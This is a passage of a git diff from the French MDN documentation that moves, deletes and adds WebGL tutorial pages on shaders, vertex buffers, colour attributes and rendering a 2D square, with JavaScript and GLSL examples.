+  // Compiler le programme shader
+
+  gl.compileShader(shader);
+
+  // Vérifier s'il a ét compilé avec succès
+
+  if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
+    alert('An error occurred compiling the shaders: ' + gl.getShaderInfoLog(shader));
+    gl.deleteShader(shader);
+    return null;
+  }
+
+  return shader;
+}
+ +

La fonction loadShader() prend en entrée le contexte WebGL, le type de shader et le code source, puis crée et compile le shader comme suit :

+ +
    +
  1. un nouveau shader est créé en appelant {{domxref("WebGLRenderingContext.createShader", "gl.createShader()")}} ;
    2. +
  2. le code source du shader est envoyé au shader en appelant {{domxref("WebGLRenderingContext.shaderSource", "gl.shaderSource()")}} ;
    3. +
  3. une fois que le shader a le code source, il est compilé en utilisant {{domxref("WebGLRenderingContext.compileShader", "gl.compileShader()")}} ;
    4. +
  4. pour vérifier que le shader a été compilé avec succès, le paramètre gl.COMPILE_STATUS du shader est vérifié ; pour obtenir sa valeur, nous appelons {{domxref("WebGLRenderingContext.getShaderParameter", "gl.getShaderParameter()")}}, en indiquant le shader et le nom du paramètre que nous voulons vérifier (gl.COMPILE_STATUS) ; si c'est false, nous savons que le shader n'a pas pu être compilé, aussi nous affichons une alerte avec les informations du journalisation obtenues du compilateur en utilisant {{domxref ("WebGLRenderingContext.getShaderInfoLog", "gl.getShaderInfoLog()")}}, puis nous supprimons le shader et nous renvoyons null pour indiquer l'échec du chargement du shader ;
    5. +
  5. si le shader a été chargé et compilé avec succès, le shader compilé est renvoyé à l'appelant.
    6. +
+ +

Pour utiliser ce code, nous l'appelons de la façon suivante :

+ +
 const shaderProgram = initShaderProgram(gl, vsSource, fsSource);
+
+ +

Après avoir créé un programme de shaders, nous devons rechercher les emplacements que WebGL a assignés à nos entrées. Dans ce cas, nous avons un attribut et deux uniformes. Les attributs reçoivent des valeurs des tampons. Chaque itération du shader des sommets reçoit la valeur suivante du tampon affecté à cet attribut. Les uniformes sont similaires aux variables globales JavaScript. Ils conservent la même valeur pour toutes les itérations d'un shader. Du fait que les attributs et les emplacements des uniformes sont spécifiques à un programme de shader donné, nous les stockerons ensemble pour les rendre plus faciles à transmettre.

+ +
  const programInfo = {
+    program: shaderProgram,
+    attribLocations: {
+      vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'),
+    },
+    uniformLocations: {
+      projectionMatrix: gl.getUniformLocation(shaderProgram, 'uProjectionMatrix'),
+      modelViewMatrix: gl.getUniformLocation(shaderProgram, 'uModelViewMatrix'),
+    },
+  };
+
+ +

Création du carré 2D

+ +

Avant de pouvoir faire un rendu de notre carré 2D, nous devons créer le tampon qui contiendra les positions de ses sommets et y placer les positions des sommets. Nous ferons cela en utilisant une fonction que nous appelerons initBuffers() ; à mesure que nous explorerons des concepts WebGL plus avancés, cette routine sera augmentée pour créer plus d'objets 3D, et plus complexes.

+ +
function initBuffers(gl) {
+
+  // Créer un tampon des positions pour le carré.
+
+  const positionBuffer = gl.createBuffer();
+
+  // Définir le positionBuffer comme étant celui auquel appliquer les opérations
+  // de tampon à partir d'ici.
+
+  gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer);
+
+  // Créer maintenant un tableau des positions pour le carré.
+
+  const positions = [
+     1.0,  1.0,
+    -1.0,  1.0,
+     1.0, -1.0,
+    -1.0, -1.0,
+  ];
+
+  // Passer mainenant la liste des positions à WebGL pour construire la forme.
+  // Nous faisons cela en créant un Float32Array à partir du tableau JavaScript,
+  // puis en l'utilisant pour remplir le tampon en cours.
+
+  gl.bufferData(gl.ARRAY_BUFFER,
+                new Float32Array(positions),
+                gl.STATIC_DRAW);
+
+  return {
+    position: positionBuffer,
+  };
+}
+ +

Cette routine est assez simpliste du fait de la nature basique de la scène dans cet exemple. Elle commence par appeler la méthode {{domxref ("WebGLRenderingContext.createBuffer()", "createBuffer()")}} de l'objet gl pour obtenir un tampon dans lequel nous stockerons les positions des sommets. Ce dernier est ensuite lié au contexte en appelant la méthode {{domxref ("WebGLRenderingContext.bindBuffer()", "bindBuffer()")}}.

+ +

Une fois que cela est fait, nous créons un tableau JavaScript contenant la position de chaque sommet du carré 2D. Ce dernier est ensuite converti en un tableau de flottants et transmis à la méthode {{domxref ("WebGLRenderingContext.bufferData()", "bufferData()")}} de l'objet gl pour définir les positions des sommets de l'objet.

+ +

Rendu de la scène

+ +

Une fois que les shaders sont définis, que les emplacements sont retrouvés, et que les positions des sommets du carré 2D sont stockées dans le tampon, nous pouvons faire effectivement le rendu de la scène. Puisque nous n'animons rien dans cet exemple, notre fonction drawScene() est très simple. Elle utilise quelques routines utilitaires que nous décrirons sous peu.

+ +
+

Vous pourriez obtenir une erreur JavaScript indiquant "mat4 n'est pas défini". Cela signifie qu'il existe une dépendance à glmatrix. Vous pouvez inclure gl-matrix.js pour résoudre ce problème, comme suggéré ici.

+
+ +
function drawScene(gl, programInfo, buffers) {
+  gl.clearColor(0.0, 0.0, 0.0, 1.0);  // effacement en noir, complètement opaque
+  gl.clearDepth(1.0);                 // tout effacer
+  gl.enable(gl.DEPTH_TEST);           // activer le test de profondeur
+  gl.depthFunc(gl.LEQUAL);            // les choses proches cachent les choses lointaines
+
+  // Effacer le canevas avant que nous ne commencions à dessiner dessus.
+
+  gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);
+
+  // Créer une matrice de perspective, une matrice spéciale qui est utilisée pour
+  // simuler la distorsion de la perspective dans une caméra.
+  // Notre champ de vision est de 45 degrés, avec un rapport largeur/hauteur qui
+  // correspond à la taille d'affichage du canvas ;
+  // et nous voulons seulement voir les objets situés entre 0,1 unité et 100 unités
+  // à partir de la caméra.
+
+  const fieldOfView = 45 * Math.PI / 180;   // en radians
+  const aspect = gl.canvas.clientWidth / gl.canvas.clientHeight;
+  const zNear = 0.1;
+  const zFar = 100.0;
+  const projectionMatrix = mat4.create();
+
+  // note: glmatrix.js a toujours comme premier argument la destination
+  // où stocker le résultat.
+  mat4.perspective(projectionMatrix,
+                   fieldOfView,
+                   aspect,
+                   zNear,
+                   zFar);
+
+  // Définir la position de dessin comme étant le point "origine", qui est
+  // le centre de la scène.
+  const modelViewMatrix = mat4.create();
+
+  // Commencer maintenant à déplacer la position de dessin un peu vers là où
+  // nous voulons commencer à dessiner le carré.
+
+  mat4.translate(modelViewMatrix,     // matrice de destination
+                 modelViewMatrix,     // matrice de déplacement
+                 [-0.0, 0.0, -6.0]);  // quantité de déplacement
+
+  // Indiquer à WebGL comment extraire les positions à partir du tampon des
+  // positions pour les mettre dans l'attribut vertexPosition.
+  {
+    const numComponents = 2;  // extraire 2 valeurs par itération
+    const type = gl.FLOAT;    // les données dans le tampon sont des flottants 32bit
+    const normalize = false;  // ne pas normaliser
+    const stride = 0;         // combien d'octets à extraire entre un jeu de valeurs et le suivant
+                              // 0 = utiliser le type et numComponents ci-dessus
+    const offset = 0;         // démarrer à partir de combien d'octets dans le tampon
+    gl.bindBuffer(gl.ARRAY_BUFFER, buffers.position);
+    gl.vertexAttribPointer(
+        programInfo.attribLocations.vertexPosition,
+        numComponents,
+        type,
+        normalize,
+        stride,
+        offset);
+    gl.enableVertexAttribArray(
+        programInfo.attribLocations.vertexPosition);
+  }
+
+  // Indiquer à WebGL d'utiliser notre programme pour dessiner
+
+  gl.useProgram(programInfo.program);
+
+  // Définir les uniformes du shader
+
+  gl.uniformMatrix4fv(
+      programInfo.uniformLocations.projectionMatrix,
+      false,
+      projectionMatrix);
+  gl.uniformMatrix4fv(
+      programInfo.uniformLocations.modelViewMatrix,
+      false,
+      modelViewMatrix);
+
+  {
+    const offset = 0;
+    const vertexCount = 4;
+    gl.drawArrays(gl.TRIANGLE_STRIP, offset, vertexCount);
+  }
+}
+ +

La première étape consiste à effacer le canevas avec notre arrière plan ; ensuite, nous établissons la perspective de la caméra. Nous définissons un champ de vision de 45°, avec un rapport largeur sur hauteur qui correspond aux dimensions d'affichage de notre canevas. Nous indiquons également que seuls les objets situés entre 0,1 et 100 unités à partir de la caméra doivent être rendus.

+ +

Ensuite, nous établissons la position du carré 2D en chargeant la position de l'origine et en nous déplaçant de 6 unités à partir de la caméra. Après cela, nous lions le tampon des sommets du carré à l'attribut que le shader utilise comme aVertexPosition et nous indiquons à WebGL comment en extraire les données. Enfin, nous dessinons l'objet en appelant la méthode {{domxref ("WebGLRenderingContext.drawArrays()", "drawArrays()")}}.

+ +

{{EmbedGHLiveSample('webgl-examples/tutorial/sample2/index.html', 670, 510) }}

+ +

Voir le code complet | Ouvrir cette démo dans une nouvelle page

+ +

Opérations utilitaires matricielles

+ +

Les opérations matricielles peuvent sembler compliquées, mais elles sont en fait assez simples si vous en prenez une à la fois. En général, les gens utilisent une bibliothèque matricielle plutôt que d'écrire la leur. Dans notre cas, nous utilisons la bibliothèque populaire glMatrix.

+ +

Voir aussi :

+ +
    +
  • les matrices sur WebGLFundamentals ;
    • +
  • les matrices sur Wolfram MathWorld ;
    • +
  • l'article matrice sur Wikipedia.
    • +
+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}

diff --git a/files/fr/web/api/webgl_api/tutorial/ajouter_des_couleurs_avec_les_shaders/index.html b/files/fr/web/api/webgl_api/tutorial/ajouter_des_couleurs_avec_les_shaders/index.html deleted file mode 100644 index 2bd786c015..0000000000 --- a/files/fr/web/api/webgl_api/tutorial/ajouter_des_couleurs_avec_les_shaders/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: Ajouter des couleurs avec les nuanceurs -slug: Web/API/WebGL_API/Tutorial/Ajouter_des_couleurs_avec_les_shaders -tags: - - Tutoriel - - WebGL -translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL ---- -

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}

- -

Dans la démonstration précédente, nous avons créé un carré 2D, la prochaine étape évidente consiste à lui appliquer de la couleur. Nous allons faire cela en révisant les nuanceurs.

- -

Application de couleur aux sommets

- -

En WebGL, les objets sont construits en utilisant des sommets, chacun d'entre eux ayant une position et une couleur ; par défaut, les couleurs des autres sommets (et tous leurs autres attributs, incluant leur position) sont calculés en utilisant une interpolation linéaire, créant ainsi automatiquement des dégradés. Précédemment, notre nuanceur de sommet n'appliquait aucunes couleurs spécifiques aux sommets ; entre cela et le fait que le nuanceur de fragment assignait la valeur blanche à chaque pixel, le carré entier était rendu en blanc uni.

- -

Supposons que nous voulions faire un rendu en dégradé dans lequel chaque coin du carré est de couleur différente : rouge, bleu, vert et blanc. La première chose à faire est de définir ces couleurs pour les quatre sommets. Pour ce faire, nous devons d'abord créer un tableau des couleurs des sommets, puis le stocker dans un tampon WebGL ; nous le ferons en ajoutant le code suivant à notre fonction initBuffers() :

- -
  const colors = [
-    1.0,  1.0,  1.0,  1.0,    // blanc
-    1.0,  0.0,  0.0,  1.0,    // rouge
-    0.0,  1.0,  0.0,  1.0,    // vert
-    0.0,  0.0,  1.0,  1.0,    // bleu
-  ];
-
-  const colorBuffer = gl.createBuffer();
-  gl.bindBuffer(gl.ARRAY_BUFFER, colorBuffer);
-  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(colors), gl.STATIC_DRAW);
-
-  return {
-    position: positionBuffer,
-    color: colorBuffer,
-  };
-}
- -

Ce code commence par créer un tableau JavaScript contenant des vecteurs à 4 valeurs, un pour chaque couleur de sommet. Un tampon WebGL est alors alloué pour stocker ces couleurs, et le tableau est converti en flottants et stocké dans le tampon.

- -

Pour que ces couleurs soient effectivement utilisées, le nuanceur de sommet doit être mis à jour pour extraire la couleur appropriée du tampon des couleurs :

- -
  const vsSource = `
-    attribute vec4 aVertexPosition;
-    attribute vec4 aVertexColor;
-
-    uniform mat4 uModelViewMatrix;
-    uniform mat4 uProjectionMatrix;
-
-    varying lowp vec4 vColor;
-
-    void main(void) {
-      gl_Position = uProjectionMatrix * uModelViewMatrix * aVertexPosition;
-      vColor = aVertexColor;
-    }
-  `;
- -

La différence clé est ici que, pour chaque sommet, nous passons sa couleur au nuanceur de fragment en utilisant un varying.

- -

Coloriage des fragments

- -

Pour mémoire, voici à quoi ressemblait précédemment notre nuanceur de fragment :

- -
  const fsSource = `
-    void main() {
-      gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
-    }
-  `;
- -

Afin de choisir la couleur interpolée pour chaque pixel, nous devons le changer pour récupérer la valeur depuis le varying vColor :

- -
  const fsSource = `
-    varying lowp vec4 vColor;
-
-    void main(void) {
-      gl_FragColor = vColor;
-    }
-  `;
- -

La principale différence ici c'est que pour chaque sommet, on assigne la valeur correspondant à sa couleur dans le tableau.

- -

Dessiner en utilisant les couleurs

- -

Ensuite, il est nécessaire d'ajouter le code recherchant les couleurs dans l'emplacement de l'attribut, et de configurer cet attribut pour le programme nuanceur :

- -
  const programInfo = {
-    program: shaderProgram,
-    attribLocations: {
-      vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'),
-      vertexColor: gl.getAttribLocation(shaderProgram, 'aVertexColor'),
-    },
-    ...
- -

Ensuite, drawScene() peut être modifié pour utiliser réellement ces couleurs lors du dessin du carré :

- -
  // Indiquer à WebGL comment transférer les couleurs du tampon des couleurs
-  // dans l'attribut vertexColor.
-  {
-    const numComponents = 4;
-    const type = gl.FLOAT;
-    const normalize = false;
-    const stride = 0;
-    const offset = 0;
-    gl.bindBuffer(gl.ARRAY_BUFFER, buffers.color);
-    gl.vertexAttribPointer(
-        programInfo.attribLocations.vertexColor,
-        numComponents,
-        type,
-        normalize,
-        stride,
-        offset);
-    gl.enableVertexAttribArray(
-        programInfo.attribLocations.vertexColor);
-  }
- -

{{EmbedGHLiveSample('webgl-examples/tutorial/sample3/index.html', 670, 510) }}

- -

Voir le code complet | Ouvrir cette démo dans une nouvelle page

- -

{{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}

diff --git "a/files/fr/web/api/webgl_api/tutorial/ajouter_du_contenu_\303\240_webgl/index.html" "b/files/fr/web/api/webgl_api/tutorial/ajouter_du_contenu_\303\240_webgl/index.html" deleted file mode 100644 index c7afe5f9ae..0000000000 --- "a/files/fr/web/api/webgl_api/tutorial/ajouter_du_contenu_\303\240_webgl/index.html" +++ /dev/null @@ -1,307 +0,0 @@ ---- -title: Ajouter du contenu à WebGL -slug: Web/API/WebGL_API/Tutorial/Ajouter_du_contenu_à_WebGL -tags: - - 3D - - API WebGL - - Graphismes - - Graphismes 2D - - Graphismes 3D - - Intermédiaire - - Shaders - - Tutoriel - - WebGL - - dessin -translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context ---- -

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}

- -

Une fois que vous avez correctement créé un contexte WebGL, vous pouvez commencer à y dessiner. Une chose simple que nous pouvons faire est de dessiner un simple carré 2D sans texture, commençons donc par là, en construisant un code pour dessiner un carré 2D.

- -

Dessiner la scène

- -

La chose la plus importante à comprendre avant que nous ne commencions est que, bien que nous dessinions seulement un carré 2D dans cet exemple, nous sommes toujours en train de dessiner dans un espace 3D. Nous dessinons juste un carré et nous le mettons exactement en face de la caméra, perpendiculairement à la direction de vision. Nous avons besoin de définir les shaders qui créeront la couleur pour notre scène simple, et qui dessineront notre objet. Cela définira comment notre carré 2D apparaîtra à l'écran.

- -

Les shaders

- -

Un shader est un programme, écrit en utilisant le OpenGL ES Shading Language (GLSL), qui utilise les informations des sommets constituant une forme, et qui génère les données nécessaires pour faire un rendu des pixels à l'écran : nommément, les positions des pixels et leurs couleurs.

- -

Deux fonctions de shader sont exécutées lors du dessin d'un contenu WebGL : le shader  de sommet et le shader de fragment. Vous les écrivez en GLSL et vous passez le texte du code à WebGL pour qu'il soit compilé pour exécution dans la GPU. Pris conjointement, un ensemble de shaders de sommet et de fragment sont appelés un programme shader.

- -

Jetons un coup d'œil rapide aux deux types de shaders, en gardant présent à l'esprit l'exemple du dessin d'une forme 2D dans le contexte WebGL.

- -

Le shader de sommet

- -

Chaque fois qu'une forme est rendue, le shader de sommet est exécuté pour chaque sommet de la forme. Son travail consiste à effectuer les transformations souhaitées sur la position du sommet.

- -

Les informations de position sont stockées dans une variable spéciale fournie par GLSL, appelée gl_Position.

- -

Le shader de sommet peut, au besoin, aussi faire des choses comme déterminer les coordonnées dans la texture des faces du {{interwiki ("wikipedia", "texel")}} à appliquer au sommet, appliquer les normales pour déterminer le facteur d'éclairage à appliquer au sommet, et ainsi de suite. Ces informations peuvent alors être stockées dans des variations ou des attributs comme approprié, pour être partagées avec le shader de fragment.

- -

Notre shader de sommet ci-dessous reçoit des valeurs de position de sommet à partir d'un attribut que nous définissons, appelé aVertexPosition. Cette position est ensuite multipliée par deux matrices 4x4 que nous fournissons, appelées uProjectionMatrix et uModelMatrix ; gl_Position est définie comme étant le résultat. Pour plus d'informations sur la projection et autres matrices, vous pourriez trouver cet article utile.

- -
// Programme shader de sommet
-
-const vsSource = `
-  attribute vec4 aVertexPosition;
-
-  uniform mat4 uModelViewMatrix;
-  uniform mat4 uProjectionMatrix;
-
-  void main() {
-    gl_Position = uProjectionMatrix * uModelViewMatrix * aVertexPosition;
-  }
-`;
- -

Dans cet exemple, nous ne calculons pas d'éclairage du tout, puisque nous n'en avons pas encore appliqué à la scène. Cela viendra plus tard, dans l'exemple Éclairage en WebGL. Notez également l'absence de tout travail sur les textures ici ; cela sera ajouté dans Utilisation de textures en WebGL.

- -

Le shader de fragment

- -

Le shader de fragment est appelé une fois pour chaque pixel de chaque forme à dessiner, une fois que les sommets de la forme ont été traités par le shader de sommet. Son travail consiste à déterminer la couleur de ce pixel en déterminant quel texel (c'est-à-dire le pixel de la texture de la forme) appliquer au pixel, à obtenir la couleur de ce texel, puis à appliquer l'éclairage approprié à la couleur. La couleur est ensuite renvoyée à la couche WebGL en la stockant dans la variable spéciale gl_FragColor. Cette couleur est alors dessinée à l'écran dans la position correcte pour le pixel correspondant de la forme.

- -

Dans ce cas, nous retournons simplement du blanc à chaque fois, car nous sommes seulement en train de dessiner un carré blanc, sans éclairage.

- -
  const fsSource = `
-    void main() {
-      gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
-    }
-  `;
-
- -

Initialisation des shaders

- -

Maintenant que nous avons défini les deux shaders, nous devons les transmettre à WebGL, les compiler et les lier ensemble. Le code ci-dessous crée les deux shaders en appelant loadShader(), lui passant le type et la source du shader. Il crée alors un programme, attache les shaders et les relie ensemble. Si la compilation ou la liaison échoue, le code affiche une alerte.

- -
//
-// Initialiser un programme shader, de façon à ce que WebGL sache comment dessiner nos données
-//
-function initShaderProgram(gl, vsSource, fsSource) {
-  const vertexShader = loadShader(gl, gl.VERTEX_SHADER, vsSource);
-  const fragmentShader = loadShader(gl, gl.FRAGMENT_SHADER, fsSource);
-
-  // Créer le programme shader
-
-  const shaderProgram = gl.createProgram();
-  gl.attachShader(shaderProgram, vertexShader);
-  gl.attachShader(shaderProgram, fragmentShader);
-  gl.linkProgram(shaderProgram);
-
-  // Si la création du programme shader a échoué, alerte
-
-  if (!gl.getProgramParameter(shaderProgram, gl.LINK_STATUS)) {
-    alert('Impossible d'initialiser le programme shader : ' + gl.getProgramInfoLog(shaderProgram));
-    return null;
-  }
-
-  return shaderProgram;
-}
-
-//
-// Crée un shader du type fourni, charge le source et le compile.
-//
-function loadShader(gl, type, source) {
-  const shader = gl.createShader(type);
-
-  // Envoyer le source à l'objet shader
-
-  gl.shaderSource(shader, source);
-
-  // Compiler le programme shader
-
-  gl.compileShader(shader);
-
-  // Vérifier s'il a ét compilé avec succès
-
-  if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
-    alert('An error occurred compiling the shaders: ' + gl.getShaderInfoLog(shader));
-    gl.deleteShader(shader);
-    return null;
-  }
-
-  return shader;
-}
- -

La fonction loadShader() prend en entrée le contexte WebGL, le type de shader et le code source, puis crée et compile le shader comme suit :

- -
    -
  1. un nouveau shader est créé en appelant {{domxref("WebGLRenderingContext.createShader", "gl.createShader()")}} ;
    2. -
  2. le code source du shader est envoyé au shader en appelant {{domxref("WebGLRenderingContext.shaderSource", "gl.shaderSource()")}} ;
    3. -
  3. une fois que le shader a le code source, il est compilé en utilisant {{domxref("WebGLRenderingContext.compileShader", "gl.compileShader()")}} ;
    4. -
  4. pour vérifier que le shader a été compilé avec succès, le paramètre gl.COMPILE_STATUS du shader est vérifié ; pour obtenir sa valeur, nous appelons {{domxref("WebGLRenderingContext.getShaderParameter", "gl.getShaderParameter()")}}, en indiquant le shader et le nom du paramètre que nous voulons vérifier (gl.COMPILE_STATUS) ; si c'est false, nous savons que le shader n'a pas pu être compilé, aussi nous affichons une alerte avec les informations du journalisation obtenues du compilateur en utilisant {{domxref ("WebGLRenderingContext.getShaderInfoLog", "gl.getShaderInfoLog()")}}, puis nous supprimons le shader et nous renvoyons null pour indiquer l'échec du chargement du shader ;
    5. -
  5. si le shader a été chargé et compilé avec succès, le shader compilé est renvoyé à l'appelant.
    6. -
- -

Pour utiliser ce code, nous l'appelons de la façon suivante :

- -
 const shaderProgram = initShaderProgram(gl, vsSource, fsSource);
-
- -

Après avoir créé un programme de shaders, nous devons rechercher les emplacements que WebGL a assignés à nos entrées. Dans ce cas, nous avons un attribut et deux uniformes. Les attributs reçoivent des valeurs des tampons. Chaque itération du shader des sommets reçoit la valeur suivante du tampon affecté à cet attribut. Les uniformes sont similaires aux variables globales JavaScript. Ils conservent la même valeur pour toutes les itérations d'un shader. Du fait que les attributs et les emplacements des uniformes sont spécifiques à un programme de shader donné, nous les stockerons ensemble pour les rendre plus faciles à transmettre.

- -
  const programInfo = {
-    program: shaderProgram,
-    attribLocations: {
-      vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'),
-    },
-    uniformLocations: {
-      projectionMatrix: gl.getUniformLocation(shaderProgram, 'uProjectionMatrix'),
-      modelViewMatrix: gl.getUniformLocation(shaderProgram, 'uModelViewMatrix'),
-    },
-  };
-
- -

Création du carré 2D

- -

Avant de pouvoir faire un rendu de notre carré 2D, nous devons créer le tampon qui contiendra les positions de ses sommets et y placer les positions des sommets. Nous ferons cela en utilisant une fonction que nous appelerons initBuffers() ; à mesure que nous explorerons des concepts WebGL plus avancés, cette routine sera augmentée pour créer plus d'objets 3D, et plus complexes.

- -
function initBuffers(gl) {
-
-  // Créer un tampon des positions pour le carré.
-
-  const positionBuffer = gl.createBuffer();
-
-  // Définir le positionBuffer comme étant celui auquel appliquer les opérations
-  // de tampon à partir d'ici.
-
-  gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer);
-
-  // Créer maintenant un tableau des positions pour le carré.
-
-  const positions = [
-     1.0,  1.0,
-    -1.0,  1.0,
-     1.0, -1.0,
-    -1.0, -1.0,
-  ];
-
-  // Passer mainenant la liste des positions à WebGL pour construire la forme.
-  // Nous faisons cela en créant un Float32Array à partir du tableau JavaScript,
-  // puis en l'utilisant pour remplir le tampon en cours.
-
-  gl.bufferData(gl.ARRAY_BUFFER,
-                new Float32Array(positions),
-                gl.STATIC_DRAW);
-
-  return {
-    position: positionBuffer,
-  };
-}
- -

Cette routine est assez simpliste du fait de la nature basique de la scène dans cet exemple. Elle commence par appeler la méthode {{domxref ("WebGLRenderingContext.createBuffer()", "createBuffer()")}} de l'objet gl pour obtenir un tampon dans lequel nous stockerons les positions des sommets. Ce dernier est ensuite lié au contexte en appelant la méthode {{domxref ("WebGLRenderingContext.bindBuffer()", "bindBuffer()")}}.

- -

Une fois que cela est fait, nous créons un tableau JavaScript contenant la position de chaque sommet du carré 2D. Ce dernier est ensuite converti en un tableau de flottants et transmis à la méthode {{domxref ("WebGLRenderingContext.bufferData()", "bufferData()")}} de l'objet gl pour définir les positions des sommets de l'objet.

- -

Rendu de la scène

- -

Une fois que les shaders sont définis, que les emplacements sont retrouvés, et que les positions des sommets du carré 2D sont stockées dans le tampon, nous pouvons faire effectivement le rendu de la scène. Puisque nous n'animons rien dans cet exemple, notre fonction drawScene() est très simple. Elle utilise quelques routines utilitaires que nous décrirons sous peu.

- -
-

Vous pourriez obtenir une erreur JavaScript indiquant "mat4 n'est pas défini". Cela signifie qu'il existe une dépendance à glmatrix. Vous pouvez inclure gl-matrix.js pour résoudre ce problème, comme suggéré ici.

-
- -
function drawScene(gl, programInfo, buffers) {
-  gl.clearColor(0.0, 0.0, 0.0, 1.0);  // effacement en noir, complètement opaque
-  gl.clearDepth(1.0);                 // tout effacer
-  gl.enable(gl.DEPTH_TEST);           // activer le test de profondeur
-  gl.depthFunc(gl.LEQUAL);            // les choses proches cachent les choses lointaines
-
-  // Effacer le canevas avant que nous ne commencions à dessiner dessus.
-
-  gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);
-
-  // Créer une matrice de perspective, une matrice spéciale qui est utilisée pour
-  // simuler la distorsion de la perspective dans une caméra.
-  // Notre champ de vision est de 45 degrés, avec un rapport largeur/hauteur qui
-  // correspond à la taille d'affichage du canvas ;
-  // et nous voulons seulement voir les objets situés entre 0,1 unité et 100 unités
-  // à partir de la caméra.
-
-  const fieldOfView = 45 * Math.PI / 180;   // en radians
-  const aspect = gl.canvas.clientWidth / gl.canvas.clientHeight;
-  const zNear = 0.1;
-  const zFar = 100.0;
-  const projectionMatrix = mat4.create();
-
-  // note: glmatrix.js a toujours comme premier argument la destination
-  // où stocker le résultat.
-  mat4.perspective(projectionMatrix,
-                   fieldOfView,
-                   aspect,
-                   zNear,
-                   zFar);
-
-  // Définir la position de dessin comme étant le point "origine", qui est
-  // le centre de la scène.
-  const modelViewMatrix = mat4.create();
-
-  // Commencer maintenant à déplacer la position de dessin un peu vers là où
-  // nous voulons commencer à dessiner le carré.
-
-  mat4.translate(modelViewMatrix,     // matrice de destination
-                 modelViewMatrix,     // matrice de déplacement
-                 [-0.0, 0.0, -6.0]);  // quantité de déplacement
-
-  // Indiquer à WebGL comment extraire les positions à partir du tampon des
-  // positions pour les mettre dans l'attribut vertexPosition.
-  {
-    const numComponents = 2;  // extraire 2 valeurs par itération
-    const type = gl.FLOAT;    // les données dans le tampon sont des flottants 32bit
-    const normalize = false;  // ne pas normaliser
-    const stride = 0;         // combien d'octets à extraire entre un jeu de valeurs et le suivant
-                              // 0 = utiliser le type et numComponents ci-dessus
-    const offset = 0;         // démarrer à partir de combien d'octets dans le tampon
-    gl.bindBuffer(gl.ARRAY_BUFFER, buffers.position);
-    gl.vertexAttribPointer(
-        programInfo.attribLocations.vertexPosition,
-        numComponents,
-        type,
-        normalize,
-        stride,
-        offset);
-    gl.enableVertexAttribArray(
-        programInfo.attribLocations.vertexPosition);
-  }
-
-  // Indiquer à WebGL d'utiliser notre programme pour dessiner
-
-  gl.useProgram(programInfo.program);
-
-  // Définir les uniformes du shader
-
-  gl.uniformMatrix4fv(
-      programInfo.uniformLocations.projectionMatrix,
-      false,
-      projectionMatrix);
-  gl.uniformMatrix4fv(
-      programInfo.uniformLocations.modelViewMatrix,
-      false,
-      modelViewMatrix);
-
-  {
-    const offset = 0;
-    const vertexCount = 4;
-    gl.drawArrays(gl.TRIANGLE_STRIP, offset, vertexCount);
-  }
-}
- -

La première étape consiste à effacer le canevas avec notre arrière plan ; ensuite, nous établissons la perspective de la caméra. Nous définissons un champ de vision de 45°, avec un rapport largeur sur hauteur qui correspond aux dimensions d'affichage de notre canevas. Nous indiquons également que seuls les objets situés entre 0,1 et 100 unités à partir de la caméra doivent être rendus.

- -

Ensuite, nous établissons la position du carré 2D en chargeant la position de l'origine et en nous déplaçant de 6 unités à partir de la caméra. Après cela, nous lions le tampon des sommets du carré à l'attribut que le shader utilise comme aVertexPosition et nous indiquons à WebGL comment en extraire les données. Enfin, nous dessinons l'objet en appelant la méthode {{domxref ("WebGLRenderingContext.drawArrays()", "drawArrays()")}}.

- -

{{EmbedGHLiveSample('webgl-examples/tutorial/sample2/index.html', 670, 510) }}

- -

Voir le code complet | Ouvrir cette démo dans une nouvelle page

- -

Opérations utilitaires matricielles

- -

Les opérations matricielles peuvent sembler compliquées, mais elles sont en fait assez simples si vous en prenez une à la fois. En général, les gens utilisent une bibliothèque matricielle plutôt que d'écrire la leur. Dans notre cas, nous utilisons la bibliothèque populaire glMatrix.

- -

Voir aussi :

- -
    -
  • les matrices sur WebGLFundamentals ;
    • -
  • les matrices sur Wolfram MathWorld ;
    • -
  • l'article matrice sur Wikipedia.
    • -
- -

{{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}

diff --git a/files/fr/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html b/files/fr/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html new file mode 100644 index 0000000000..534d6ef995 --- /dev/null +++ b/files/fr/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html @@ -0,0 +1,59 @@ +--- +title: Animer des objets avec WebGL +slug: Web/API/WebGL_API/Tutorial/Animer_des_objets_avec_WebGL +tags: + - Tutoriel + - WebGL +translation_of: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}

+ +

